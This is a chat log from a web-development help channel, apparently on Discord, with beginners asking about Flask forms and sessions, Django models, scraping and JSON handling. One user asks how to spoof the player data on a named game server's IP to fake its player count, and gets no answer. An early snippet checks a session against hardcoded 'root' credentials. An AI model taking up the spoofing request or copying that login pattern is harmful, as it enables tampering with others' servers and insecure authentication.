#web-development

2 messages Β· Page 147 of 1

distant charm
#

getting this error

#

here is how i am doing itpy elif request.method == "GET": if session['email'] == 'root@root' and session['pass'] == "root": return render_template("index.html", title=title) elif session['email'] is None and session['pass'] is None: return redirect(url_for('login')) else: return redirect(url_for('login'))

real hare
#

Fyi, I'm using Jsonify, do I need to craft some stuff to get this working fully?

elder nest
#

how would I run a form when a page is loaded

#

I tried this but it didn't work ```{% extends 'layout.html' %}
<form action="/selectserver" method="post" id="foo">
<input type="hidden" id="code" name="code" value={{ code }}>
</form>

<!DOCTYPE html>
<html lang="en">
<head>
<!-- Required meta data -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<link rel="shortcut icon" href="https://cdn.glitch.com/dff50ce1-3805-4fdb-a7a5-8cabd5e53756%2Ffavicon.ico?v=1604604750774">
<link rel="icon" sizes="192x192" href="https://cdn.glitch.com/dff50ce1-3805-4fdb-a7a5-8cabd5e53756%2Ffavicon-32.png?v=1604606481568">
<link rel="apple-touch-icon" href="https://cdn.glitch.com/dff50ce1-3805-4fdb-a7a5-8cabd5e53756%2Ffavicon-32.png?v=1604606481568">
<title>Fireball Dashboard</title>

    <!-- Bootstrap core CSS -->
    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">

    <!-- Custom CSS -->
    <link href="../static/style.css" rel="stylesheet">

    <form action="/selectserver" method="post" id="foo">
      <input type="hidden" id="code" name="code" value={{ code }}>
    </form>

<!-- Bootstrap JS -->
<script type="text/javascript">
    window.onload = function () {
    document.getElementsByTagName("form")[0].submit();
    }
</script>
<script src="//code.jquery.com/jquery-1.12.0.min.js"></script>
<script src="//code.jquery.com/jquery-migrate-1.2.1.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>

</html>```

zinc marten
opaque rivet
#

print session to see its keys / data structure

#

the issue is that 'email' is not a valid key

opaque rivet
elder nest
#

I am changing it to a post

#

so yeah

opaque rivet
#

yeah, so tell me again why you need that in the template?

#

you can send requests from the view

elder nest
#

how would I do that?

opaque rivet
#
import requests
requests.post("your_url", data=your_data)
elder nest
#

@opaque rivet it says cannot use method @app.route('/codetopost', methods=['get']) async def codetopost(): code = request.args.get('code') code = str(code) return await requests.post("/selectserver", code=code)

opaque rivet
# elder nest <@!812098613450506351> it says cannot use method ```@app.route('/codetopost', me...

that just sends a HTTP request, you don't want to return it.
read a tutorial on it:
https://realpython.com/python-requests/

In this tutorial on Python's "requests" library, you'll see some of the most useful features that requests has to offer as well as how to customize and optimize those features. You'll learn how to use requests efficiently and stop requests to external services from slowing down your application.

elder nest
#

@opaque rivet this is what I see @app.route('/codetopost', methods=['get']) async def codetopost(): code = request.args.get('code') code = str(code) requests.post("/selectserver", data={"code":code})

#

it still doesnt work

opaque rivet
elder nest
#
async def selectserver():```
zinc marten
#

define "will not work"

I'm smelling "forgot to set a secret key" in the answer.

#

does your template read the flashes?

#

yes. Flash just adds a tuple to a set that is retrievable

elder nest
#

ok now it accepts it what should I put for this

#
    code = form["code"]```
#

to accept the data @opaque rivet

zinc marten
opaque rivet
#
{% for flashed_message in get_flashed_messages() %}
  {{flashed_message}}
{% endfor %}

It's something like this

#

do people still use templates in industry? or is it all moving to JS libraries?

zinc marten
#

In industry? Yes, absolutely.

opaque rivet
#

I wouldn't lean on templates so much though, I'd learn it make a project, and then move on to a frontend framework

#

You'd put that wherever you want your flashed messages to show, that's up to you

distant charm
#

@opaque rivet sorry for the ping but would using a try and except for the above issue would be a normal thing right? or would it cause any issues

elder nest
#

@opaque rivet what would I put to accpept the data, also its saying its a get thing

zinc marten
native tide
#

hi, sorry for interupting but how can I send data from a bootstrap dropdown with the form so I can read it with flask in python

zinc marten
#

I know a surprising amount of folks who use templates to generate the frontend.

elder nest
#

im just going to make a is this you page or some crap

opaque rivet
opaque rivet
zinc marten
#

My work blocks NPM and we have to vet every library version through.

zinc marten
#

Templates reign supreme.

native tide
#

thanks

opaque rivet
#

No but really, you get nowhere the amount of features using templates as you do with a separate framework

#

Any DOM change without JS and your page refreshes... that isn't the standard for sure πŸ™‚

zinc marten
#

Half our frontend tools are just perl/java with Bootstrap thrown on top

#

Fun fact: did you know that Amazon's entire shopping experience works without JS?

#

From what I've been told, it's 100% SSR with some light stuff on top for things like lightboxes and such

opaque rivet
#

Yeah that makes sense

#

I really like developing w/ React, and I've been getting into Next.js recently which supports SSR

#

There's a lot of hype with those technologies

zinc marten
#

oh, what's old is new again with SSR. it cracks me up.

opaque rivet
#

Yeah I've had no idea how to serve it from Django though

#

its pretty niche

#

need it for SEO which SSR is good for

real hare
#

If anyone is familiar with Flask routing, can they look in #help-falafel thanks

opaque rivet
#

server side rendering, as opposed to client side rendering

native tide
#

AttributeError: 'bytes' object has no attribute 'encode'

Using Flask

opaque rivet
heavy roost
#
    content = models.CharField(max_length=500)
    date = models.DateTimeField(auto_now_add=True)
    from_user = models.ForeignKey(User,on_delete=models.CASCADE, related_name='from_user')
    to_user = models.ForeignKey(User,on_delete=models.CASCADE, related_name='to_user')

    def __str__(self):
        return self.content
    
    class Meta:
        unique_together = (('from_user', 'to_user'),)```
hey, how would i make 'from_user' and 'to_user' different from each other? So that a user wont make a comment on its own profile.
worn mural
#

if user is owner of the post:
raise error

#

Can you show us the Profile model and the method that handles the comment ?

#

@heavy roost

heavy roost
worn mural
#

Are u using django?

#

If u are

#

Tou can use validators for model column

signal bronze
#

im still very new to flask so go easy on me. How can i distinguish between sign up and sign in?

<div class="NotSingedInBox">
    <input type="submit" value="Sign in" class="SignInBTN">
    <input type="submit" value="Sign up" class="SignInBTN">
</div>
heavy roost
#

Hey, is it possible to display django validation errors like the default ones? For example like this:

#

My current validation errors just return the debug page

#

how i handle validations currently: ```
class Comment(models.Model):
content = models.CharField(max_length=500)
date = models.DateTimeField(auto_now_add=True)
rating = models.PositiveSmallIntegerField(default=1,validators=[MinValueValidator(1,message="Rating value is too low."),MaxValueValidator(5,message="Rating value is too high.")])
from_user = models.ForeignKey(User,on_delete=models.CASCADE, related_name='from_user')
to_user = models.ForeignKey(User,on_delete=models.CASCADE, related_name='to_user')

def validate_different(self):
    if self.from_user == self.to_user:
        raise ValidationError(_('Both users are the same.'),code='invalid')

def __str__(self):
    return self.content

def save(self, *args, **kwargs):
    self.validate_different()
    return super().save(*args, **kwargs)

class Meta:
    unique_together = (('from_user', 'to_user'),
worn mural
#

I'm dont have much exp with Django

#

But I will see the docs

stable hemlock
#

I will take that is guide also.

calm plume
#

I'm sorta new to django, what do you guys thing think is the best part?

#

The most useful part.

valid girder
#

I think a built-in ORM and robust API framework (DjangoRestFramework). Also a good html template engine built in, but then people use APIs now and render html in React frontend. Also Django has a long-running and great community (as is evident here) :p

wispy quail
spare token
#

hi guys When I run: import requests

I get: Traceback (most recent call last): File "<pyshell#9>", line 1, in <module> import requests ModuleNotFoundError: No module named 'requests'

When I check pip list on my terminal, it tells me that I have a request module installed already (2.19.1).

When I run pip install requests on my terminal, it tells me this:

Requirement already satisfied: requests in /anaconda3/lib/python3.6/site-packages (2.19.1) Requirement already satisfied: urllib3<1.24,>=1.21.1 in /anaconda3/lib/python3.6/site-packages (from requests) (1.22) Requirement already satisfied: certifi>=2017.4.17 in /anaconda3/lib/python3.6/site-packages (from requests) (2018.1.18) Requirement already satisfied: idna<2.8,>=2.5 in /anaconda3/lib/python3.6/site-packages (from requests) (2.6) Requirement already satisfied: chardet<3.1.0,>=3.0.2 in /anaconda3/lib/python3.6/site-packages (from requests) (3.0.4).

#

plz help me :((

final marsh
#

I'm not a developer by trade but an accountant who enjoys coding and dev in my spare time and automating the boring stuff. Anyways, I am trying to showcase some of my coding work in the hopes of landing a job with a big accounting firm in the data analytics department. Was thinking of writing a django/react site that I can use for a blog post, showcase some work that I have done regarding automating accounting functions, resume page and so on. I would like the posts and articles to have have different components inline ['text', 'code snippet', 'text', 'image', 'text'], like how articles are written on real python. How do you define an object that can have these different types of output inline? Would markdown be the best route to go?

wispy quail
#

like with whatever python you are using to run your file

#

running pip bare wire leads to tons of simple confusions

wispy quail
final marsh
wispy quail
#

Ah i get you!

final marsh
#

I have a database management course for grad school, and one of the projects is to render web pages from a db. Thought I could kill two birds with one stone here and get a site up and running to get a little credibility and complete a hw assignment at the same time.

wispy quail
#

Yesss!

cedar pasture
#
#!/usr/bin/env python
from flask import Flask, flash, redirect, render_template, \
     request, url_for

app = Flask(__name__)

@app.route('/')
def index():
    return render_template(
        'index.html',
        data=[{'name':1}, {'name':2}, {'name':3}])

@app.route("/test" , methods=['GET', 'POST'])
def test():
    select = request.form.getlist('comp_select')
    return(str(select)) # just to see what select is

if __name__=='__main__':
    app.run(debug=True)
cedar pasture
#

<form class="form-inline" method="POST" action="{{ url_for('test') }}"> <div class="form-group"> <div class="input-group"> <span class="input-group-addon">Please select</span> <select name="comp_select" class="selectpicker form-control"> {% for o in data %} <option value="{{ o.name }}">{{ o.name }}</option> {% endfor %} </select> </div> <button type="submit" class="btn btn-default">Go</button> </div> </form>

#

@wispy quail Hi, sorry about that, I would like to select numeric value in my selection and return back , but unfortunately, it prompt me this error TypeError: β€˜list’ object cannot be interpreted as an integer

wispy quail
#

o gives you {'name':1} the first time. so o['name'] gives you 1

cedar pasture
#

Hmmm nope it dint even return any value

wispy quail
#

using . notation works for dictionary?

wispy quail
cedar pasture
#

can show me the example @wispy quail ?

wispy quail
#

I just copy pasted your code and ran it

cedar pasture
#

I see

#

can you return numeric ?

wispy quail
#

well you asked for a list, you got a list

#

request.form['comp_select'] gives you the answer

cedar pasture
#

wait a moment, actually I use this to another source code

#

maybe different scenario happen in my code

#

I share to you my code

#
@app.route('/')
def form():
    return render_template('index.html', data=[{'year':1}, {'year':2}, {'year':3}])

@app.route('/transform', methods=["POST"])
def transform_view():
.........
........
X_FUTURE = request.form.getlist('comp_select')
        transform = np.array([])
        last = dataset[-1]
        for i in range(X_FUTURE):
            curr_prediction = model.predict(np.array([last]).reshape(1, look_back, 1))
            last = np.concatenate([last[1:], curr_prediction.reshape(-1)])
            transform = np.concatenate([transform, curr_prediction[0]])
      
        transform = scaler.inverse_transform([transform])[0]
#
<form class="form-inline" method="POST" action="{{ url_for('transform_view') }}">
                      <div class="form-group">
                        <div class="input-group">
                            <span class="input-group-addon">Please select</span>
                                <select name="comp_select" class="selectpicker form-control">
                                  {% for o in data %}
                                  <option value="{{ o.year }}">{{ o.year }}</option>
                                  {% endfor %}
                                </select>
                        </div>
                        <button type="submit" class="btn btn-default">Go</button>
                      </div>
                    </form>
#

This is the error I got

#

I want to let the user select the year and pass it to X_FUTURE for predicting future value

#

@wispy quail

wispy quail
#

same thing

#

use X_FUTURE = int(request.form['comp_select'])

#

the errror happens as getlist returns a list which you cannot use int() with

cedar pasture
#

werkzeug.exceptions.BadRequestKeyError: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand. KeyError: 'comp_select'

#

I have no idea it is because of my HTML page

#
<body>
                <h1>Time Series Sales Forecasting</h1>
                    </br>
                        </br>
                          </br>
                             </br> 
                            <div class = "upload">
                                <p> <span>This is a Time Series Sales Forecasting webpage system     
                                  and</span>
                                <span>this system will basically predict the future sales for next 
                                comming one year later, </span>
                                <span>Please upload your CSV file for predicting.</span></p>
                                </br>
                                </br>
                                <form action="/transform" method="post" enctype="multipart/form-data">
                                <input type="file" name="data_file" class="file"/>
                                </br>
                                </br>
                                <button type="submit" class="button">Predict</button>        
                            </form>
                     </div>
                     <form class="form-inline" method="POST" action="{{ url_for('transform_view') }}">
                      <div class="form-group">
                        <div class="input-group">
                            <span class="input-group-addon">Please select</span>
                                <select name="comp_select" class="selectpicker form-control">
                                  {% for o in data %}
                                  <option value="{{ o.year }}">{{ o.year }}</option>
                                  {% endfor %}
                                </select>
                        </div>
                      </div>
                    </form>
             </body>
#

I have no idea it is because I have 2 form here

chilly falcon
#

while installing mysqlclient for django i got this error

     command: /Users/mac/rohil/user_api_django/bin/python3 -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/w4/76p33pr92x59lq3slgfw6p200000gn/T/pip-req-build-z6i7lulh/setup.py'"'"'; __file__='"'"'/private/var/folders/w4/76p33pr92x59lq3slgfw6p200000gn/T/pip-req-build-z6i7lulh/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /private/var/folders/w4/76p33pr92x59lq3slgfw6p200000gn/T/pip-pip-egg-info-trjspjto
         cwd: /private/var/folders/w4/76p33pr92x59lq3slgfw6p200000gn/T/pip-req-build-z6i7lulh/
    Complete output (12 lines):
    /bin/sh: mysql_config: command not found
    /bin/sh: mariadb_config: command not found
    /bin/sh: mysql_config: command not found
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/private/var/folders/w4/76p33pr92x59lq3slgfw6p200000gn/T/pip-req-build-z6i7lulh/setup.py", line 15, in <module>
        metadata, options = get_config()
      File "/private/var/folders/w4/76p33pr92x59lq3slgfw6p200000gn/T/pip-req-build-z6i7lulh/setup_posix.py", line 65, in get_config
        libs = mysql_config("libs")
      File "/private/var/folders/w4/76p33pr92x59lq3slgfw6p200000gn/T/pip-req-build-z6i7lulh/setup_posix.py", line 31, in mysql_config
        raise OSError("{} not found".format(_mysql_config_path))
    OSError: mysql_config not found
    ----------------------------------------
ERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
timid forum
#

anybody that can do html and css up for a simple 15 min project right now?

cedar pasture
#

Hi community, I need help, does anyone know how to combine 2 forms with one submit button in HTML page? I would like to select choice before I upload a file, so it is possible to have this kind of situation ?

native tide
#

Hi, is it possible to set cookies in Flask without using a form? Ideally just by the user clicking a <button>?

wispy quail
hasty haven
#

I'm trying to host my django website on Heroku but it is not loading my static css files.
It works on my laptop but not online

#

This is the error I get on the console

steep rose
#

Hi, I think I need a bit of guidance in web scraping with beautifulsoup4, I've read the documentation but am still struggling. What's the best channel to ask for help?

lusty cloud
#

hey. when i create a category or whatever, i get this issue

lusty cloud
#

oh fixed it

opal portal
#
#views.py
class ContributionViewSet(viewsets.ModelViewSet):
    queryset = Contribution.objects.all()
    serializer_class = ContributionSerializer
    permission_classes = [permissions.IsAuthenticatedOrReadOnly]
    
    def get_queryset(self):
        contributions = Contribution.objects.filter(faculty=self.kwargs['faculty_id'])
        return contributions

#urls.py
router = DefaultRouter()
router.register(r'list/(?P<faculty_id>[0-9]+)',ContributionViewSet)

urlpatterns = [
    path('', include(router.urls)),
]```
Django. I am trying to retrieve contributions that belong to specific faculty through faculty_id from user input? Am I doing correctly? Also, if I want to get all contributions (regardless faculty) what should i do now?
primal matrix
#

Morning

#

Or afternoon. :-)

#

Random question, I run flask apps through WSGI on apache. The problem is that if I have a bug in my flash code, the web page fails with "server error."

#

This is normal behavior, but in order to resolve the problem, I want to get access to the stack trace, and cannot find it anywhere. I have tried all logs and never find it. Is it accessible somewhere?

opal portal
#

anyone here ?

signal bronze
lusty cloud
#

so i added a foreign key from another model and it views a a dropdown

#

this is what is inside the categories

#

now when i go to my products to create a product, which will assign the product to a category

#

i have a dropdown in the products create

#

and i don't see "skates"

#

this is what it looks like when i make a product, it isnt loading the categories foreign key data to the dropdown

bold hound
#

anybody know if selenium works with ghostbrowser?

#

is this the right channel to ask

opal portal
#

i really need some help with django 😦

crimson wyvern
#

Heyo, beginner in Django here
any tutorials suggestions to start off?

opal portal
#

@crimson wyvern django documentation is pretty good

tribal sedge
#
<script>
            document.getElementById("myBtn").addEventListener("click", function() {
                document.getElementById("demo").innerHTML = "Hello World";
                });
        </script>
        <button type = 'button'>
            Click me
        </button>``` I may sound stupid, but why doesn't this button event work?
#

(And yes there is more stuff there, that is just the one part that doesn't work)

crimson wyvern
tribal sedge
opaque rivet
crimson wyvern
opal portal
#

try the get started

opaque rivet
tribal sedge
crimson wyvern
tribal sedge
opaque rivet
tribal sedge
#

oh alr so no comma

opaque rivet
#

no comma, html attributes are separated by spaces

native tide
#

how to put my localhost website to public?

primal matrix
#

Hi

wanton ridge
#

return template('test.html', d=rows)
TypeError: 'module' object is not callable anyone can help me here?

native tide
#

@wispy quail cheers for the tip. I've never used AJAX, though am familiar with JS. Could you signpost me to any tutorials or resources?

opaque rivet
primal matrix
#

Does anyone know how to access a stack trace from a flask app running through apache/wsgi? I have tried everything and cannot figure it out.

wanton ridge
#

i am using bottle not flask @opaque rivet

opaque rivet
primal matrix
#

I have tried logging.exception, no joy, upping the logging level to info. Nope. It is frustrating.

astral dove
native tide
#

how can i make an offical link to get to my html page?

foggy fiber
native tide
native tide
native tide
foggy fiber
#

Well, I don't think asking in this chat will help much... I'd suggest finding some guides on webdev online

native tide
#

ohh

foggy fiber
#

Someone here might be able to find such a resource, but that's probably the extent

native tide
#

u mean i can use flask

#

?

foggy fiber
#

You can, but it's not standalone. There are other things you need to do. You can self-host and use an IP directly instead of a domain-name, but again, the internet will probably have more in-depth information

native tide
#

yeah i will search this up on the internet but thanks for the time

lyric osprey
#

COD?

native tide
#

Thanks @opaque rivet I should be learning about it soon on a course that I've just enrolled in: CS50 Web programming with Python and JavaScript, from Harvard πŸ™‚

open charm
#

Hello
I'm new to flask and I was wondering, is it possible to shard an app ? For example if I make a big app, how would it be possible to divide my app to host it on multiple servers ? so the load would be lighter

#

I mean, are there ressources out there where I could learn about this ?

wooden ruin
acoustic oyster
#

!warn 824658888695349258 Sneaker bots are by design ToS breaking. And we do not allow advertising or offers for paid work here. Please read our rules. This will be your only warning on this.

lavish prismBOT
#

:incoming_envelope: :ok_hand: applied warning to @deep belfry.

native tide
#

@wooden ruin I am so happy to hear that! Thanks for sharing πŸ˜ƒ I did CS50 last year, which was incredible so i do have high expectations. Not sure if I'm ready for Django yet, feel like I have barely scratched the surface with Flask.

opaque rivet
#

what do you guys use to deploy projects utilizing django channels?

lavish prismBOT
#

βœ… unsilenced current channel.

open tinsel
#

This doesn't seem to get the data:

#
C:\Users\User\Documents>type bs10stub.py
# test routine
from bs4 import BeautifulSoup
import requests
import lxml

def get_link_data(url):
    headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36',
    'Accept-Language': "en",
    }

    r = requests.get(url, headers=headers)
    soup = BeautifulSoup(r.content, 'lxml')
    return(soup)

def get_yaxis_labels():
    # Should call with soup.find.string
    soupy = soup.find('g', {'class' : 'highcharts-yaxis-labels'})
    yaxis = []
    for i in list(soupy.children):
        yaxis.append([int(i.get('y')), i.text, None])
        yaxis[len(yaxis)-1][2] = (yaxis[len(yaxis)-1][1].strip('$, '))
    return (yaxis)


def main():
    pass

main()

filename = "urlPageSaved.html"
soup = BeautifulSoup(open(filename,'rb').read(), "lxml")

# url = "https://www.investsmart.com.au/invest-with-us/investsmart-growth-portfolio"
# soup = get_link_data(url)

# print(soup)

yaxis = get_yaxis_labels()
print(yaxis)

C:\Users\User\Documents>python bs10stub.py
[[396, '$6k', '6k'], [334, '$8k', '8k'], [272, '$10k', '10k'], [211, '$12k', '12k'], [149, '$14k', '14k'], [87, '$16k', '16k'], [26, '$18k', '18k']]

C:\Users\User\Documents>```
#

When the two lines under main() to read the file are disabled and next two enabled it falls over.

#

!e ```

test routine

from bs4 import BeautifulSoup
import requests
import lxml

def get_link_data(url):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36',
'Accept-Language': "en",
}

r = requests.get(url, headers=headers)
soup = BeautifulSoup(r.content, 'lxml')
return(soup)

def get_yaxis_labels():
# Should call with soup.find.string
soupy = soup.find('g', {'class' : 'highcharts-yaxis-labels'})
yaxis = []
for i in list(soupy.children):
yaxis.append([int(i.get('y')), i.text, None])
yaxis[len(yaxis)-1][2] = (yaxis[len(yaxis)-1][1].strip('$, '))
return (yaxis)

def main():
pass

main()

filename = "urlPageSaved.html"

soup = BeautifulSoup(open(filename,'rb').read(), "lxml")

url = "https://www.investsmart.com.au/invest-with-us/investsmart-growth-portfolio"
soup = get_link_data(url)

print(soup)

yaxis = get_yaxis_labels()
print(yaxis)

lavish prismBOT
#

You are not allowed to use that command here. Please use the #bot-commands channel instead.

pliant jewel
#

anyone know any good resources to learn session handling for flask?

pliant jewel
#

nvm its actually really simple im just being super dumb

native tide
tawdry tinsel
#

Hey, I'm facing an error, plz help
actually I got set-cookies in my response header, but cookies are not store in broweser

#

this is my frontend code

#

This is my backend code

#

plz help

#

here is my cors and jwt config

#

plz help guys

hallow yacht
#

anyone tried deploying webapp to azure before

twilit needle
#

can someone please help me here? Thanks a lot!

opaque rivet
#

@twilit needle maybe you can make a seperate view/path for each functionality? Such as uploading files, or retrieve files/folders individually

#

Also, how is that recursive?

#

If you want to create a chain of DB entries you can use django signals

native tide
#

Import django. That's right

#

Hehehe

wind walrus
#

So in Flask SQLAlchemy I want to store a list of members in a group in a column

#

Would I use PickleType?

#

Or would I create a new table and do a one to many relationship?

worn mural
#

one to Many

#

This is the way you should go to when using SQL db's

#

You could give it a try to NON-SQL like Mongo ifyou would like to have a list

wind walrus
#

so when is pickle used?

worn mural
#

I would not use

#

Only for specif cases

#

when I would want to store some object

#

That woundt get to big or need to filter inside it

#

But I prefer not to use

#

In your case you really shoud build a new table

#

and do a one to many relationship

worn mural
wind walrus
#

Oh I see, thank you!

worn mural
#

I'm glad I could help πŸ™‚

#

I will give one example that has nothing to do with Python when I would serialize an object inside an sql db

#

So in Minecraft servers you could write a plugin that would spawn some random items in a given location. Locations in Minecraft is an object with an X, Y, Z cordinate, so I would serialize this locations in a json: {'x':30, 'y':15, 'z':20} and save it inside an String column called location.

red umbra
#

hi guyz

worn mural
wind walrus
#

Ahhh I see

#

So you wouldnt even use pickle for that

#

you woud just jsonise it and put it as a String i see

bold hound
#

guys im trying to make a chrome extension (or anything that can work parallel in multible tabs) that clicks 2 coords on the screen. the site is made in unity, so no html tags for buttons. Is this possible in any way?

wind walrus
#

why wouldnt you use Pickle?

red umbra
#

i just really badly want speaking perms

worn mural
#

And is not safe

bold hound
#

i can click elements, but having issues with coord clicking

worn mural
#

You could overwrite by a mistake

#

all your users in the group

wind walrus
#

oh interesting okay

worn mural
#

And JSON is lighter then PickeType

#

But remember serializing list and putting inside an sql row is not a good practice

#

If you could create a new table, create it

#

Its easier, fast and safer

wind walrus
#

Yaeh i didnt know that

hallow yacht
#

got some question regarding json dictonary response

#

its 4 levels deep. And i got towards the last level.. but cant seem to get my data out of the next level 😦

worn mural
#

What is happening ?

hallow yacht
# worn mural What is happening ?

i get to the last level. and i checked for the type just to be sure. And it still is a dict.
{
"2160":{
"key1": value
},
but when i do for x in dict:
print(x)
i get 2160 back as value

worn mural
#

Are you parsing the json?

hallow yacht
worn mural
#

Try numbers[β€œ2160”]

#

I think interating will return the key value

hallow yacht
#

its like that

worn mural
#

And you still need to decode it

hallow yacht
#

and goes on like 2162 , 2163 etc

worn mural
#

If you want to access data inside

#

Just acces via the key

#

For example

#

For x in numbers:
Print(numbers[x]

#

You wont get the values

hallow yacht
#

i need to loop over everything. and get values of a key inside 2160. Maybe i need to decode again ?

worn mural
#

Because you are interating over the keys

hallow yacht
#

aha

#

so i need to put in another dict ? And loop over that one or ?

#

im lost

worn mural
#

Noo

#

Ok so, tell me

#

what is the data of this value

#

How does it look like?

#

You could do something like

#

for x in numbers.items():

#

print(x)

#

it would return the dictionary inside

#

the key

#

So keys are a list ?

hallow yacht
#

could i dm you with the values ?

worn mural
#

sure

opaque rivet
reef oasis
#

No need to use list too. You can simply:

for key, value in your_dict.items()
  # 1st run: key = 2160, value = keys (dict)
  # 2nd run: key = 2161, value = keys (dict)

or

for item in your_dict.items()
  # 1st run: (2160, your_dict[2160])
  # 2nd run: (2161, your_dict[2161])

If your_dict[key] is a dict and you need to iterate over it, I suggest you create a function that iterates a dict recursively. Something like this:

def dictIterator(my_dict):
  whatIwantToSava = []
  for key, value in my_dict.items():
    if type(value) == dict:
      whatIwantToSave.append(dictIterator(value))
    else:
      whatIwantToSave.append(...)
  return whatIwantToSave
wind walrus
#

if i want to create like a form where multiple users has access to edit

#

how can i prevent conflict?

#

maybe like how can i prevent ppl from editing the form at the same time

#

with Flask

#

so sth like

"Oops! User A is already editing! Please wait until User A is done, and refresh the page"

stiff ferry
#

can someone recommend some nice django books?

hallow yacht
honest adder
#

Hello Friends, Can we change the Json data on the Target IP as we want by sending a package?
Sample: 89.163.142.192:30120/players.json
Sample 89.163.142.192:30120/info.json
I Want Make Fake Players For Servers

#

Who Can Help Me This Topic?

worn mural
#

Would be with websockets

#

You can listen to when the user connected

#

And when disconnected

#

Orr

wind walrus
#

how do i do it with tokens?

#

like auth tokens

#

also just to clarify, i only want a single tab to have access

worn mural
wind walrus
#

so even on the same user, different tabs shouldnt have access

#

oh django 😦

worn mural
#

Ohh

wind walrus
#

anything with flask?

worn mural
#

what are u usingw

#

?

#

An easier aproach

#

would be to get a timer

#

So maybe u think the user will spent 30 seconds do edit the profile

wind walrus
#

oh

#

timer is not ideal for this

worn mural
#

Okk

#

so websockets

#

is your way

wind walrus
#

somebody suggested using tokens

#

how would that work?

worn mural
#

I can't imagine a way of doing with tokens

wind walrus
#
  1. user A starts editing
  2. token is generated for user A and saved in user A browser
  3. user B tries to edit
  4. here, how would they check if user B can edit or not?
#

yeah

#

i couldnt either

worn mural
#

It would only work

#

if timer

#

for example

wind walrus
#

so just to explain my situation further

I have like a group project sort of thing where any group member can access and edit the form
i have a db to record the details of the form

i want to prevent conflicts, so i was thinking of storing a Boolean column in the db to keep track of whether someone is currently editing the page or not

so i would update it every time they access and leave the page

#

this was my first approach

#

(i copy pasted this message from another server so it kinda falls out of place but just to clarify)

worn mural
#

okk

#

so you will use websockets

#

The things you need to know

#
  1. User try to access the form
    -> You will verify if someone is using
  2. User access it, you create a connection via websockets and create one dict that stores the user that are editing and what form they are editing.
  3. If user quits the form, the connection will be shut then you remove them from the DICT
#

To verify just check if user acessing == user modifing in the dict

#

This is the aproach I would take

wind walrus
#

how about if same user starts accessing from a different device?

worn mural
#

It would owkr

#

work

#

but would be a problem, would ?

wind walrus
#

user acessing == user modifing in the dict

here do i compare the account?
if so then different device same login will double right

#

just gotta make sure the form is being edited and submitted only once so there is no conflict

#

even if same person is editing, i want to prevent them from accessing on another tab

worn mural
#

yess

#

So you need to create a token

unkempt juniper
#

how do i host multiple web pages with python, what i have now, i can only host one.

from flask import Flask, render_template


app = Flask(__name__)

@app.route("/")
def home():
    return render_template("index.html")

if __name__ == "__main__":
  app.run(host='0.0.0.0',port=8080, debug=True)```
unkempt juniper
#

so like

from flask import Flask, render_template


app = Flask(__name__)

@app.route("/")
def home():
    return render_template("index.html")

@app.route("/file2")
def file2():
    return render_template("file2.html")

if __name__ == "__main__":
  app.run(host='0.0.0.0',port=8080, debug=True)```
#

like that?

stable hemlock
unkempt juniper
#

ok thank you

tacit brook
#

So I'm making a flask API

#

that will connect to a mysql database

#

but I'm using blueprints to put it in separate files

#

how can I use a database with this set up

#

preferably where I could hypothetically have multiple databases

#

eg. /ep1 goes to one database /ep2 goes to another

heavy roost
#
    post_list = Post.objects.none()

    requestTags = request.GET.get('tags')
    if requestTags:
        post_list = Post.objects.filter(tags__id__in=requestTags)
    else:
        post_list = Post.objects.all()

Hey, i'm using django. I'm trying to get back a post_list that consists of all posts that have any of the tags located in the requestTags list... current code isn't working, it only returns posts that have the last tag in my list

reef oasis
tacit brook
#

yea I got that

tacit brook
#

like can I make a connector local to a blueprint file?

#

or can I put routes in a class which inits on import?

reef oasis
#

Like this I imagine

tacit brook
#

class log:
async def init(self):
self.conn=SQLDB
@spare ridge.route(/potato)
async def route

reef oasis
#

Never tried something like that

tacit brook
#

pinged someone lol

tacit brook
reef oasis
#

Yeah I think so, I don't know any other way to do that. I use it on every flask project

tacit brook
#

ok thx

reef oasis
#

It was nothing 😁

foggy bramble
#

has anybody used apexchart with django?

opaque rivet
#

plus they have a django integration

foggy bramble
opaque rivet
#

i meant fusioncharts have the django integration

foggy bramble
#

Plus I'm looking for something that can generate colors depending on need

foggy bramble
#

I want pie chart colors to be dynamic

#

oh @opaque rivet there is a lib django-fusioncharts

lavish prismBOT
#

Hey @dusty moon!

It looks like you tried to attach file type(s) that we do not allow (.html). We currently allow the following file types: .gif, .jpg, .jpeg, .mov, .mp4, .mpg, .png, .mp3, .wav, .ogg, .webm, .webp, .flac, .m4a.

Feel free to ask in #community-meta if you think this is a mistake.

dusty moon
#

oops i thought discord has that new code thing

#

Oh, well.
This is my first HTML thing

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <meta name="Information" content="This is my first website.">
        <title>my first website</title>
    </head>
    <body>
        <h1>My first website?</h1>
        <hr/>
        <p>This is my first website. <b>It might be <i><big>shit</big></i>, but i don't care lol</b></p>
        <br/>
        <h1>Why it exists?</h1>
        <hr/>
        <p>Because i was bored.</p>
        <br/>
        <h1>Are you going to do something with it?</h1>
        <hr/>
        <p>Would you stop asking me all these questions and leave me alone?!</p>
        <br/>
        <h1>You rude f*ck!</h1>
        <hr/>
        <p>What?</p>
        <br/>
        <h1>Nothing...</h1>
        <hr/>
        <p>Oh, ok.</p>
        <!-- i just found out about comments lol -->
    </body>
</html>
frozen abyss
dusty moon
#

lol

#

thank you

#

should all the things be separated? i mean like:

<p> hello i am a thing... i forgot how its called :/ </p>
lyric lance
#

